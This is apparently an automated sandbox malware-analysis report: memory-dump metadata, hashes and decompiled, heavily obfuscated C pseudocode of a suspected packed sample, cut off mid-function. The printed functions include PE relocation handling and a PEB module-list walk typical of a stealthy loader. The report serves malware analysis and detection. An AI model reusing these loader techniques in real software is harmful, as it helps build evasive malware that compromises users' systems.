0x007d591c
0x007d5920
0x007d5922
0x007d5923
0x007d5929
0x007d5930
0x007d5933
0x007d5939
0x007d5943
0x007d5946
0x007d594c
0x007d5954
0x007d595b
0x007d596f
0x007d5970
0x007d5977
0x007d597b
0x007d597e
0x007d5987
0x007d598a
0x007d5996
0x007d599d
0x007d59a3
0x007d59a4
0x007d59a5
0x007d59a8
0x007d59ab
0x007d59ae
0x007d59b4
0x007d59bb
0x007d59be
0x007d59c7
0x007d59ca
0x007d59d2
0x007d59d9
0x007d59df
0x007d59e2
0x007d59e5
0x007d59e8
0x007d59ef
0x007d59f3
0x007d59f6
0x007d59ff
0x007d5a02
0x007d5a08
0x007d5a10
0x007d5a17
0x007d5a1d
0x007d5a1d
0x007d5aea
0x007d5af8
0x007d5afb
0x007d5b01
0x007d5b0b
0x007d5b0e
0x007d5b17
0x007d5b1a
0x007d5b23
0x007d5b26
0x007d5b35
0x007d5b3a
0x007d5b3e
0x007d5b41
0x007d5b43
0x007d5b44
0x007d5b4f
0x007d5b51
0x007d5b56
0x007d5b58
0x007d5b5f
0x007d5b63
0x007d5b66
0x007d5b6c
0x007d5b73
0x007d5b76
0x007d5b76
0x007d5b7d
0x007d5b83
0x007d5b8e
0x007d5b92
0x007d5b93
0x007d5b9c
0x007d5b9f
0x007d5ba5
0x007d5baf
0x007d5bb2
0x007d5bbe
0x007d5bc5
0x007d5bcb
0x007d5bcc
0x007d5bda
0x007d5bde
0x007d5be1
0x007d5be4
0x007d5beb
0x007d5bee
0x007d5bf1
0x007d5bf7
0x007d5bfe
0x007d5c01
0x007d5c07
0x007d5c0f
0x007d5c16
0x007d5c1c
0x007d5c28
0x007d5c2b
0x007d5c35
0x007d5c38
0x007d5c3e
0x007d5c48
0x007d5c4b
0x007d5c52
0x007d5c56
0x007d5c59
0x007d5c65
0x007d5c6c
0x007d5c72
0x007d5c73
0x007d5c79
0x007d5c83
0x007d5c86
0x007d5c8c
0x007d5c96
0x007d5c99
0x007d5c9f
0x007d5ca9
0x007d5cac
0x007d5cb2
0x007d5cbc
0x007d5cbf
0x007d5ccb
0x007d5cce
0x007d5cd5
0x007d5cd8
0x007d5cdb
0x007d5cde
0x007d5cdf
0x007d5ce0
0x007d5cef
0x007d5cf1
0x007d5cf6
0x007d5cf8
0x007d5cff
0x007d5d03
0x007d5d06
0x007d5d0c
0x007d5d16
0x007d5d19
0x007d5d25
0x007d5d2c
0x007d5d32
0x007d5d32
0x007d5d3c
0x007d5d40
0x007d5d43
0x007d5d48
0x007d5d52
0x007d5d55
0x007d5d5c
0x007d5d5e
0x007d5d61
0x007d5d68
0x007d5d6f
0x007d5d74
0x007d5d77
0x007d5d7d
0x007d5d7e
0x007d5d85
0x007d5d88
0x007d5d8e
0x007d5d91
0x007d5d95
0x00000000
0x00000000
0x00000000
0x007d5d95
0x007d5aea

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b22095e20c329f7d375c50b2b4e61b093e339a4e4c2e62bd3b86910ad18266d0
Instruction ID: e825f4cf73c6da84b9409afb6edfcd679fb32a4d621503d122b96a3a5f268580
Opcode Fuzzy Hash: b22095e20c329f7d375c50b2b4e61b093e339a4e4c2e62bd3b86910ad18266d0
Instruction Fuzzy Hash: 3DC135B2844619DFEF04DFA0C8897EEBBF5FF08310F15086DD989AA145D3742664CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 007D2FAF, Relevance: .2, Instructions: 210
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E007D2FAF(void* __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4) {
				char _v2;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t60;
				signed int _t62;
				void* _t63;
				void* _t64;
				signed int _t65;
				signed int _t68;
				signed int _t74;
				void* _t77;
				signed int _t80;
				void* _t81;
				void* _t83;
				void* _t86;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t95;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				signed int _t105;
				signed int _t107;
				signed int _t108;
				signed int _t109;
				signed int _t111;
				signed int _t114;
				void* _t117;
				signed int _t120;
				signed int _t127;
				void* _t128;
				signed int _t130;
				signed int _t133;
				signed int _t140;
				signed int _t143;
				signed int _t145;
				void* _t148;
				signed int _t150;
				signed int _t151;
				signed int _t154;
				signed int _t156;
				void* _t161;
				signed int _t163;
				signed int _t164;
				void* _t167;
				signed int _t169;
				void* _t170;
				signed int* _t173;

				_t114 = __edx;
				_v16 = 0;
				_push(_v16);
				 *_t173 =  *_t173 + __esi;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t173 =  *_t173 | __edi;
				_push(__esi);
				_t140 =  *_t173;
				 *_t173 =  *(__ebx + 0x41c166);
				_pop( *_t8);
				_v16 = __ebx;
				_t74 = _v16;
				_t163 = _a4 | _a4;
				_t127 = _t163;
				_t164 = _t161;
				if(_t163 != 0) {
					 *_t173 = __ecx;
					_t90 = _t127;
					_t128 = _t90 +  *((intOrPtr*)(_t127 + 0x3c));
					_t92 = 0;
					 *_t14 =  *((intOrPtr*)(_t128 + 0x34));
					_push(_v16);
					_pop(_t60);
					_v12 = _v12 - _t60;
					_t77 = _t74;
					_v16 = _t140;
					_v8 = _v8 & 0x00000000;
					_v8 = _v8 | _t140 & 0x00000000 ^ _t60;
					_t143 = _v16;
					 *_t173 =  *_t173 + _t92;
					_t93 = _t128;
					_t95 = 0;
					_t130 = _t93 + ( *(_t128 + 0x14) & 0x0000ffff) + 0xffffffc0;
					_t98 = _t95;
					 *_t173 = _t164;
					_t62 =  *_t130;
					_t167 = 0;
					 *_t173 =  *_t173 | _t62;
					_t63 = _t62;
					if( *_t173 != 0) {
						_t80 = _t77;
						 *_t27 = _t63;
						_v16 = _v16 + _v12;
						_push(_v16);
						_pop(_t64);
						_t145 = _t143;
						_push(_t98 & 0x00000000 ^ (_t77 -  *_t173 |  *(_t130 + 4)));
						 *_t32 = _t64;
						_v16 = _v16 + _v8;
						_push(_v16);
						_pop(_t65);
						_pop(_t102);
						_t133 = _t130;
						_v16 = _t65;
						_push(_v12 + (_t145 & 0x00000000 | _t130 & 0x00000000 ^ _v8));
						_t68 = _v16;
						_pop(_t148);
						while(1) {
							_t150 = _t102 | _t102;
							_t103 = _t150;
							_t151 = _t148;
							if(_t150 == 0) {
								goto L12;
							}
							_t117 = _t114;
							 *_t173 =  *_t173 ^ _t80;
							_push(_t133 & 0x00000000 | _t114 & 0x00000000 |  *_t68);
							_pop(_t81);
							_t133 = _t81 + _t151;
							_t83 = 0;
							_v16 = _v16 & 0x00000000;
							_push(_v16);
							 *_t173 =  *_t173 | _t103;
							_v16 = _t151;
							_t105 = _t103 & 0x00000000 | _t151 - _v16 ^  *(_t68 + 4);
							_t154 = _v16;
							_v16 = 0;
							_push(_v16);
							 *_t173 =  *_t173 + _t105;
							_t86 = _t83;
							_t107 = _t105 + 0xfffffff8 >> 1;
							_t68 = _t68 + 8;
							_t120 = _t117;
							while(1) {
								_t156 = _t107 | _t107;
								_t108 = _t156;
								_t154 = _t154;
								if(_t156 == 0) {
									break;
								}
								_v16 = 0;
								_push(_v16);
								 *_t173 =  *_t173 | _t108;
								 *_t173 = 0xf000;
								_t109 = _t133;
								_t111 = 0 ^  *_t173;
								_t173 =  &(_t173[1]);
								_t169 =  *_t68 & 0x0000ffff & _t109 |  *_t68 & 0x0000ffff & _t109;
								_t120 = _t169;
								_t170 = _t167;
								if(_t169 != 0) {
									_t120 =  *_t68 & 0xfff;
									_push(_v16);
									 *_t173 = _t68;
									_t154 = _t154;
									 *((intOrPtr*)(_t120 + _t133)) =  *((intOrPtr*)(_t120 + _t133)) + (_t68 & 0x00000000 | _t154 & 0x00000000 | _v12);
									_pop( *_t55);
									_t68 = _v16;
								}
								_t68 =  &_v2;
								_t167 = _t170;
								_t107 = _t111 - 1;
							}
							_t114 = _t120 & 0x00000000 ^  *_t173;
							_t173 =  &(_t173[1]);
							_pop( *_t57);
							_t102 = (_t108 & 0x00000000 ^ _v16) - _t114;
							_t80 = _t86;
						}
					} else {
					}
				} else {
				}
				L12:
				return _t68;
			}

0x007d2faf
0x007d2fb5
0x007d2fbc
0x007d2fbf
0x007d2fc2
0x007d2fc6
0x007d2fc9
0x007d2fcc
0x007d2fd3
0x007d2fd3
0x007d2fd6
0x007d2fd9
0x007d2fe3
0x007d2fe9
0x007d2feb
0x007d2fed
0x007d2fee
0x007d2ff7
0x007d2ffb
0x007d2fff
0x007d3001
0x007d3005
0x007d3008
0x007d300b
0x007d3012
0x007d3015
0x007d3016
0x007d301e
0x007d3022
0x007d3025
0x007d302e
0x007d3032
0x007d3037
0x007d3041
0x007d3043
0x007d3046
0x007d304d
0x007d304f
0x007d3051
0x007d3054
0x007d3055
0x007d3068
0x007d306e
0x007d3071
0x007d3074
0x007d3077
0x007d3078
0x007d3079
0x007d307e
0x007d3081
0x007d3084
0x007d3087
0x007d3088
0x007d3095
0x007d3096
0x007d309e
0x007d309f
0x007d30a2
0x007d318d
0x007d3190
0x007d3192
0x007d3194
0x007d3195
0x00000000
0x00000000
0x007d30b3
0x007d30b6
0x007d30b9
0x007d30ba
0x007d30bd
0x007d30bf
0x007d30c0
0x007d30c4
0x007d30c7
0x007d30ca
0x007d30d6
0x007d30d8
0x007d30db
0x007d30e2
0x007d30e5
0x007d30f3
0x007d30f4
0x007d30ff
0x007d3101
0x007d3163
0x007d3166
0x007d3168
0x007d316a
0x007d316b
0x00000000
0x00000000
0x007d3107
0x007d310e
0x007d3111
0x007d3115
0x007d311c
0x007d3121
0x007d3124
0x007d312a
0x007d312c
0x007d312e
0x007d312f
0x007d3134
0x007d313a
0x007d313d
0x007d314c
0x007d314d
0x007d3150
0x007d3153
0x007d3153
0x007d315f
0x007d3161
0x007d3162
0x007d3162
0x007d3173
0x007d3176
0x007d317f
0x007d318a
0x007d318c
0x007d318c
0x00000000
0x007d3057
0x00000000
0x007d2ff0
0x007d319b
0x007d31b0

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1f32643c1a337532a551df5e7dd1d687da03bae7b11c336c53ee130eebd2aab
Instruction ID: 11eeb57e5078b0750b53274294748c27a0244756bfe0b31c594b4b23c3c1e443
Opcode Fuzzy Hash: d1f32643c1a337532a551df5e7dd1d687da03bae7b11c336c53ee130eebd2aab
Instruction Fuzzy Hash: 50619533E04618AFEB048FD9DC457ADFBB5EF44720F1581BEE594A3280DBB929008B90

Uniqueness

Uniqueness Score: -1.00%

Function 007D2A69, Relevance: .2, Instructions: 161
COMMONCrypto

Download Yara Rule

C-Code - Quality: 61%

			E007D2A69(signed int __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _t52;
				signed int _t54;
				signed int _t56;
				intOrPtr _t63;
				signed int _t70;
				signed int _t75;
				signed int _t88;
				signed int _t91;
				signed int _t105;
				signed int _t109;
				signed int _t112;
				signed int _t125;
				void* _t129;
				signed int* _t140;

				_push(_v16);
				 *_t140 = __eax;
				_push(__edi);
				 *_t140 =  *_t140 ^ __edi;
				 *_t140 =  *_t140 ^ __ecx;
				_push(_v12);
				 *_t140 = __edx;
				_push(__ecx);
				 *_t140 =  *_t140 ^ __ecx;
				 *_t140 =  *_t140 + __edi;
				_push(__ecx);
				 *_t140 =  *_t140 - __ecx;
				 *_t140 = __esi;
				if( *((intOrPtr*)(__ebx + 0x41ce4a)) != 1) {
					_v16 = __edx;
					_t103 = 0 ^  *(__ebx + 0x41c3f9);
					_push(__esi);
					_pop(_t125);
					_v16 = _t125;
					_t105 =  *(__ebx + 0x41c166) +  *((intOrPtr*)((__eax & 0x00000000 | __esi & 0x00000000 ^  *((0 ^  *(__ebx + 0x41c3f9)) + 0x3c)) + _t103 + 0x28));
					 *_t17 = _t105;
					_push(_v8);
					_pop(_t88);
					_t107 = _t105 & 0x00000000 | _t88 & 0x00000000 ^  *(__ebx + 0x41c166);
					_t91 = _t88;
					 *_t140 = __ecx;
					_t70 = 0;
					_push(0);
					 *_t140 =  *_t140 ^ _v16;
					_push( *((intOrPtr*)((0 ^  *((_t105 & 0x00000000 | _t88 & 0x00000000 ^  *(__ebx + 0x41c166)) + 0x3c)) + _t107 + 0x28)));
					_pop(_t129);
					_t109 = _t129 +  *(__ebx + 0x41c166);
					_v12 = _t70;
					_t52 = 0 ^ _t109;
					 *_t140 = _t109;
					_t112 = 0;
					_push(__ebx);
					_t75 = _v12 & 0x00000000 ^ __ebx & 0x00000000 ^  *( *((intOrPtr*)((0 ^  *[fs:0x30]) + 0xc)) + 0xc);
					__eflags = _t75;
					_pop(_t63);
					while(1) {
						_t112 = _t112 & 0x00000000 ^ _t91 ^  *_t140 ^  *(_t75 + 0x1c);
						_t91 = _t91;
						__eflags = _t52 - _t112;
						if(_t52 == _t112) {
							break;
						}
						__eflags = _t91 - _t112;
						if(__eflags != 0) {
							_t75 =  *(_t75 + 4);
							if(__eflags != 0) {
								continue;
							} else {
								 *((intOrPtr*)(_t63 + 0x41ce4a)) = 1;
								_pop( *_t42);
								_pop( *_t44);
								_pop( *_t46);
								_t54 = _t52 & 0x00000000 ^ _t140[1];
								__eflags = _t54;
								return _t54;
							}
						} else {
							_pop( *_t36);
							_pop( *_t38);
							_t56 = _t52 & 0x00000000 |  *(_t140 - 0xfffffffc + 4);
							__eflags = _t56;
							return _t56;
						}
						goto L9;
					}
					_v8 = _t63;
					 *(_t75 + 0x1c) = _t91;
					_pop( *_t32);
					__eflags = 0 ^ _t140[2];
					_pop( *_t34);
					return _v8;
				} else {
					_pop( *_t4);
					_pop( *_t6);
					return  *((intOrPtr*)( &(_t140[1]) - 0xfffffffc));
				}
				L9:
			}

0x007d2a6f
0x007d2a72
0x007d2a75
0x007d2a76
0x007d2a79
0x007d2a7c
0x007d2a7f
0x007d2a82
0x007d2a83
0x007d2a86
0x007d2a89
0x007d2a8a
0x007d2a8d
0x007d2a97
0x007d2ac9
0x007d2ad4
0x007d2ad9
0x007d2ae5
0x007d2aea
0x007d2af9
0x007d2afb
0x007d2afe
0x007d2b01
0x007d2b0f
0x007d2b11
0x007d2b14
0x007d2b1e
0x007d2b23
0x007d2b25
0x007d2b28
0x007d2b29
0x007d2b30
0x007d2b33
0x007d2b3a
0x007d2b41
0x007d2b4f
0x007d2b53
0x007d2b5d
0x007d2b5d
0x007d2b5f
0x007d2b60
0x007d2b6a
0x007d2b6c
0x007d2b6d
0x007d2b6f
0x00000000
0x00000000
0x007d2bb4
0x007d2bb6
0x007d2bf2
0x007d2bf5
0x00000000
0x007d2bfb
0x007d2bfb
0x007d2c05
0x007d2c11
0x007d2c1d
0x007d2c35
0x007d2c35
0x007d2c3c
0x007d2c3c
0x007d2bb8
0x007d2bb8
0x007d2bc4
0x007d2be8
0x007d2be8
0x007d2bef
0x007d2bef
0x00000000
0x007d2bb6
0x007d2b71
0x007d2b78
0x007d2b9c
0x007d2ba4
0x007d2baa
0x007d2bb1
0x007d2a99
0x007d2a9f
0x007d2aaf
0x007d2ac6
0x007d2ac6
0x00000000

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b63c40a153435aee46f1dbaa00f0c7709c3ef757da9a005839b873438a636a49
Instruction ID: 3db39a931a3f5a4bed6a74628689e4ebb7914008f885d7d1d8f2998f0ced9694
Opcode Fuzzy Hash: b63c40a153435aee46f1dbaa00f0c7709c3ef757da9a005839b873438a636a49
Instruction Fuzzy Hash: 3B51BF73D04504EFEB04DF69D98279EBBB1FF80320F1AC5ADC895A7284CA746A11CB95

Uniqueness

Uniqueness Score: -1.00%

Function 007D150C, Relevance: .1, Instructions: 104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E007D150C(signed int __eax, void* __ebx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _t88;
				signed int _t95;
				void* _t97;
				signed int _t100;
				signed int _t101;
				void* _t106;
				signed int _t107;
				signed int _t112;
				signed int _t115;
				signed int _t116;
				signed int _t118;
				signed int _t124;
				signed int _t126;
				void* _t130;

				_t106 = __ebx;
				if(_t130 != _v12) {
					_t88 = __eax & 0x00000001;
					_t112 = _t112 & 0xffffffff;
				} else {
					_t88 = __eax ^ 0x1f4;
				}
				_a12 = _a12 - _t112;
				_a4 = _a4 & _t88;
				_a12 = 0xffffffff;
				_v12 = _v12 | _t107;
				_v12 = _v12 - 0xffffffff;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_v8 = _v8 - 1;
				_t115 = _t112 + 1 - 1 + 1;
				_v8 = _v8 | _t107 - 0x00000001;
				_t90 = _t88 - 0x51d + 0xffffffff;
				_a4 = _a4 ^ _t115;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) & _t126;
				_v12 = _v12 - _t88 - 0x51d + 0xffffffff;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_t95 = E007D4A23(((_t90 | _a12) + 0x00000001 & 0x00000000) -  *(_t106 + 0x41d23c), _t106,  *((intOrPtr*)(_t106 + 0x41ce29)), ((_t90 | _a12) + 0x00000001 & 0x00000000) -  *(_t106 + 0x41d23c), _t126);
				_a4 = 0x458;
				 *(_t106 + 0x41d23c) = _t95;
				_a8 = _a8 ^ _t95;
				_t124 = _t115;
				 *(_t106 + 0x41d23c) = 0;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) ^ 0x00000001;
				 *(_t106 + 0x41d23c) = 0x13a;
				_a8 = _a8 - 0x31f;
				 *(_t106 + 0x41d23c) = _t126;
				_a8 = _a8 + 1;
				_t116 = _t115 - 1;
				_t97 = E007D4A23(_t95 - 0x730, _t106, _t116,  *((intOrPtr*)(_t106 + 0x41c914)),  *((intOrPtr*)(_t106 + 0x41cea6)));
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) + _t97;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) ^ _t116;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - 1;
				_t100 = (_t97 + 0x00000001 ^ 0x00000000) + 0xffffffff;
				_v12 = _v12 & _t100;
				_t101 = _t100 ^ 0x00000000;
				_v12 = _t101;
				_v12 = _v12 + _t124;
				_v8 = _v8 - 1;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) + 1;
				_t118 = _t116 - _a8 - 0xffffffff;
				 *(_t106 + 0x41d23c) = _t118;
				 *(_t106 + 0x41d23c) =  *(_t106 + 0x41d23c) - (_t124 & 0x00000330);
				_v12 = _v12 & _t118;
				_a12 = _a12 | _t118;
				return (_t101 ^ 0x00000000) - 0x00000001 ^ 0x00000000;
			}

0x007d150c
0x007d151a
0x007d1528
0x007d152d
0x007d151c
0x007d1521
0x007d1521
0x007d1530
0x007d1533
0x007d1543
0x007d154b
0x007d1552
0x007d1559
0x007d1562
0x007d1565
0x007d156d
0x007d1570
0x007d1575
0x007d1578
0x007d157e
0x007d1581
0x007d15aa
0x007d15af
0x007d15b6
0x007d15bc
0x007d15c1
0x007d15c3
0x007d15c9
0x007d15d3
0x007d15dd
0x007d15e9
0x007d15f6
0x007d15f9
0x007d160c
0x007d1611
0x007d161c
0x007d1627
0x007d162d
0x007d1639
0x007d163c
0x007d1644
0x007d1647
0x007d1652
0x007d1655
0x007d165c
0x007d1668
0x007d166e
0x007d167f
0x007d1682
0x007d1690

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd97c8a2378453d0f50524401d41f85624529e01a0f8e400ad16fc78b9557928
Instruction ID: 5d9a7a3b4bce03404de5f9d2a30494b23283b0c44da2ed6e8ba2d61d3884f29b
Opcode Fuzzy Hash: cd97c8a2378453d0f50524401d41f85624529e01a0f8e400ad16fc78b9557928
Instruction Fuzzy Hash: 18411D72C11604ABEB04CF76C9857DA7B71EF44330F24C3AAAC399A1D5C3388651AF55

Uniqueness

Uniqueness Score: -1.00%

Function 007D1967, Relevance: .1, Instructions: 101
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E007D1967(signed int __eax, void* __ebx, signed int _a4) {
				signed int _v8;
				signed int _t98;
				void* _t111;
				signed int _t116;
				void* _t117;
				signed int _t118;
				signed int _t119;
				void* _t121;
				signed int _t126;
				signed int _t128;
				signed int _t129;
				signed int _t130;

				_t117 = __ebx;
				_t98 = __eax;
				if(__ebx >= _a4) {
					_a4 = _a4 & _t128;
					_a4 = _a4 + 0xffffffff;
				} else {
					_t128 = (_t128 + 0xffffffff & 0x000006b0) + 1;
				}
				 *(_t117 + 0x41c345) =  *(_t117 + 0x41c345) ^ 0x000003e3;
				_t129 = _t128 & 0x00000000;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) ^ _t98;
				if( *(_t117 + 0x41c345) < 0x34d9) {
					_a4 = _a4 & 0xffffffff;
					_t98 = _t98 + 1;
				} else {
					 *(_t117 + 0x41c345) =  *(_t117 + 0x41c345) ^ _t129;
					 *(_t117 + 0x41c345) = 0x295;
					_v8 = _v8 + 1;
				}
				_t119 = _t118 &  *(_t117 + 0x41c345);
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) | _t129;
				_a4 = _a4 + _t129;
				_v8 = 0xffffffff;
				_t130 = _t129 + _v8;
				_a4 = _a4 | 0xfffff88b;
				_v8 = _v8 - 1;
				_v8 = _v8 + 1;
				_v8 = _v8 + 1;
				_v8 = _v8 | _t130;
				 *(_t117 + 0x41c598) = _t121 - _t119;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) & 0xffffffff;
				_v8 = _t119;
				_a4 = _a4 ^ 0x0000033f;
				_a4 = _a4 ^ _t119;
				_a4 = _a4 & _t126;
				_a4 = 0xfffffbb6;
				_v8 = _v8 | _t119;
				_v8 = _v8 - 1;
				 *(_t117 + 0x41c598) =  *(_t117 + 0x41c598) | _t126;
				_a4 = _a4 + 0xffffffff;
				_a4 = _a4 - 1;
				_a4 = _a4 - 1;
				_a4 = _a4 ^ 0x00000001;
				_a4 = _a4 & _t130;
				_t111 = E007D1693((((_t98 - 0x00000001 + 0xffffffff - 0x0000031a ^ 0x2b0) + 0x00000409 ^ 0 | 0xffffffff) + 0xfffff86b ^ 0x00000000) + 1, _t117,  *((intOrPtr*)(_t117 + 0x41c6d0)),  *((intOrPtr*)(_t117 + 0x41c3f5)));
				 *(_t117 + 0x41c598) = 0x6a4;
				_t116 = (_t111 - 0x00000001 + 0x0000030f ^ 0xfffffffffffffffe) & 0x00000001;
				_a4 = _t116;
				_a4 = _a4 - 1;
				_v8 = _v8 - 0xffffffff;
				return _t116;
			}

0x007d1967
0x007d1967
0x007d1975
0x007d1985
0x007d1988
0x007d1977
0x007d1980
0x007d1980
0x007d198c
0x007d1996
0x007d1999
0x007d19a9
0x007d19c0
0x007d19c4
0x007d19ab
0x007d19ab
0x007d19b1
0x007d19bb
0x007d19bb
0x007d19c5
0x007d19cb
0x007d19d1
0x007d19d9
0x007d19e0
0x007d19f4
0x007d19fb
0x007d19fe
0x007d1a03
0x007d1a07
0x007d1a0a
0x007d1a16
0x007d1a1d
0x007d1a25
0x007d1a3c
0x007d1a4e
0x007d1a54
0x007d1a60
0x007d1a6d
0x007d1a70
0x007d1a76
0x007d1a7a
0x007d1a84
0x007d1a87
0x007d1a8b
0x007d1a9a
0x007d1abc
0x007d1af5
0x007d1afa
0x007d1b02
0x007d1b05
0x007d1b1b

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d496aaf9737dd9040203ca25982ef00af11931fa603b3a3eaa8287a0f772126f
Instruction ID: b74a65735b40dee0b735586ba75d48a629cb057ede309ebdd2f2d41008f7de3e
Opcode Fuzzy Hash: d496aaf9737dd9040203ca25982ef00af11931fa603b3a3eaa8287a0f772126f
Instruction Fuzzy Hash: E9414D72C50618EBEB04CF68C9CA7CA3A71EF04374F288399AC789D1D6D3395651DA94

Uniqueness

Uniqueness Score: -1.00%

Function 007D88BA, Relevance: .1, Instructions: 95
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E007D88BA(void* __eax, void* __ebx, signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				void* _t56;
				signed int _t57;
				signed int _t58;
				signed int _t59;
				void* _t77;
				void* _t83;
				signed int _t84;
				void* _t89;
				void* _t96;
				signed int _t100;
				void* _t102;

				_t77 = __ebx;
				_t56 = __eax;
				if(_a4 > 0x9b86) {
					_t83 = _t83 - 1;
					_t89 = _t89 + 0xffffffff;
				}
				_t57 = _t56 + 0xffffffff;
				_t78 = 0xffffffff;
				if(_t83 > _a8) {
					 *(_t77 + 0x41c619) =  *(_t77 + 0x41c619) & 0xffffffff;
				} else {
					_t78 = 0;
					_t57 = _t57 ^ 0x00000000;
				}
				_t58 = _t57 & 0x00000001;
				_a12 = 1;
				_t84 = _t83 + 1;
				 *(_t77 + 0x41c619) =  *(_t77 + 0x41c619) | _t58;
				_t59 = _t58 ^ _t96 + 0xfffffa6c;
				if(_t102 < _t89) {
					 *(_t77 + 0x41c619) = 1;
					_t78 = _v12;
				} else {
					_a8 = _a8 + _t78;
					_t59 = _t59 ^ 0xffffffff;
				}
				_v12 = _v12 + 1;
				_v8 = _v8 & 0x00000000;
				_v12 = _v12 + 0xffffffff;
				_a12 = _a12 + 0xffffff46;
				_v8 = _v8 - 1;
				_v8 = _v8 + 0xfffffad4;
				_a4 = _a4 | _t84;
				_a12 = _a12 + 1;
				_t100 = _a12;
				_v8 = _v8 ^ _t100;
				_v12 = 0xfffffcfa;
				_v12 = _v12 ^ 0xffffffff;
				_a4 = _t100;
				_v8 = _v8 - 0xfffffe99;
				_v12 = _v12 & _t78;
				_a8 = _a8 + 1;
				_a8 = _a8 | 0x00000001;
				return 1;
			}

0x007d88ba
0x007d88ba
0x007d88cc
0x007d88ce
0x007d88cf
0x007d88cf
0x007d88de
0x007d88e3
0x007d88eb
0x007d88f5
0x007d88ed
0x007d88ed
0x007d88ee
0x007d88ee
0x007d88fb
0x007d8904
0x007d890b
0x007d890c
0x007d8912
0x007d8916
0x007d8923
0x007d892d
0x007d8918
0x007d8918
0x007d891b
0x007d891b
0x007d8930
0x007d8933
0x007d8941
0x007d8948
0x007d8954
0x007d895c
0x007d8968
0x007d8978
0x007d897b
0x007d8984
0x007d898f
0x007d899a
0x007d89aa
0x007d89c0
0x007d89c5
0x007d89d0
0x007d89da
0x007d89f3

Memory Dump Source

Source File: 00000000.00000002.453301204.00000000007D0000.00000040.00000001.sdmp, Offset: 007D0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9408914b7e626d52f05bbd282e7e988d0072ea341ec3d82d84db4da1002100f3
Instruction ID: 17e26aad7031b94cae1112b3d1738e6594b03bffd39494d3978ebb8a9dea6481
Opcode Fuzzy Hash: 9408914b7e626d52f05bbd282e7e988d0072ea341ec3d82d84db4da1002100f3
Instruction Fuzzy Hash: FC316B72920A049BEB04CE78CD853DE7771FF80339F25835AEC359A2D1D7788A519B48

Uniqueness

Uniqueness Score: -1.00%

Function 007D27D4, Relevance: .1, Instructions: 93
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E007D27D4(signed int __eax, void* __ebx, signed int _a4, signed int _a8) {
				signed int _v8;
				void* _t62;
				signed int _t64;
				signed int _t65;
				signed int _t76;
				void* _t78;
				signed int _t79;
				void* _t84;
				signed int _t90;
				signed int _t91;
				signed int _t92;
				signed int _t95;

				_t78 = __ebx;
				_t60 = __eax;
				if(_v8 >= 0x74b6) {
					_t60 = (__eax ^ _a4) + 1;
				} else {
					_t79 = _t79 + _t90;
				}
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) - _t79;
				_t62 = E007D92B2(_t60, _t78,  *((intOrPtr*)(_t78 + 0x41c5d8)),  *((intOrPtr*)(_t78 + 0x41d186)));
				_v8 = _v8 + 1;
				_t64 = _t62 + 1 - 0xffffffff;
				if(_a4 < 0xae5c) {
					_t95 =  *(_t78 + 0x41c908);
				} else {
					_t90 = _t90 ^ 0x00000000;
					_t64 = _t64 & 0x00000000;
				}
				_v8 = _v8 & 0xffffffff;
				_t91 = _t90 - 1;
				_t65 = _t64 + 0xfffffea2;
				_a4 = _a4 ^ _t91;
				_a8 = 1;
				if(_t79 <= _v8) {
					_t65 = _t65 - 1;
					_v8 = _v8 ^ 0x0000029c;
					_t79 = _t79 | _a8;
				} else {
					_v8 = _v8 - 1;
					_t95 = _t95 & _a4;
					_a4 = _a4 + 1;
				}
				_t92 = _t91 & 0xfffff9dc;
				_a4 = _a4 + _t92;
				_a4 = _a4 - 1;
				_v8 = _v8 & 0x00000000;
				_a8 = _a8 - 1;
				_a8 = _a8 & 0x00000001;
				_t76 = ((((_t65 ^ 0xfffff825) + 0x00000001 & 0) - 0x00000001 & 0xfffffaf6 ^ 0x00000000) & 0) + 0x566;
				 *(_t78 + 0x41c908) =  *(_t78 + 0x41c908) | _t84 -  *(_t78 + 0x41c908) + 0xffffffff;
				_v8 = _v8 ^ 0x00000001;
